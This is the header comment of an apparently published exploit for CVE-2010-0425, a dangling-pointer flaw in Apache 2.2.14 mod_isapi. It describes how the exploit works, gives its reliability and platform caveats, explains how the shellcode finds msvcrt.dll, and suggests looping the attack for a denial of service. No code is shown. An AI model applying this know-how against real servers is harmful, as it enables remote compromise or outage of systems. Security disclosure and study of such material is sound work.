 * Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit (CVE-2010-0425)
 * ------------------------------------------------------------------------------
 *
 * Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002
 * 
 * Description:
 * pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14 mod_isapi.
 * Due to the nature of the vulnerability, and exploitation method, DEP should be limited to essential 
 * Windows programs and services. At worst, if DEP is enabled for the Apache process, you could cause 
 * a constant DoS by looping this (since apache will automatically restart) :)
 *
 * Note that the exploit code may need to be run multiple times before a shell is spawned (70%
 * success rate - tested on three different systems). Furthermore, the exploit code may require 
 * modification to exploit this vulnerability on different platforms. This is due to loaded memory 
 * references to the unloaded DLL (they will be different for each ISAPI module). Do not test
 * this code in a VM otherwise the code may fail to send the RESET packet (something to do with
 * VMware gracefully closing the connection, instead of sending a RESET packet) - I didnt want
 * to have to use raw packets on Windows. 
 *
 * Shellcode Note: 
 * The shellcode writes "pwn-isapi" to "sos.txt" which is created in the current working directory. 
 * Most operating systems should be supported by this shellcode. I've used Skylined's method of finding
 * the base address of kernel32.dll for Windows 7 and modified it so that it will find the base 
 * address of msvcrt.dll instead. I've also added another check so that it will be able to detect
 * "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll in 5th position, and before this
 * DLL string is read, another DLL (RPCRT4.dll) length is verifiied which matches the length of 
 * msvcrt.dll. So the added check will verify the presents of "m" before proceeding.
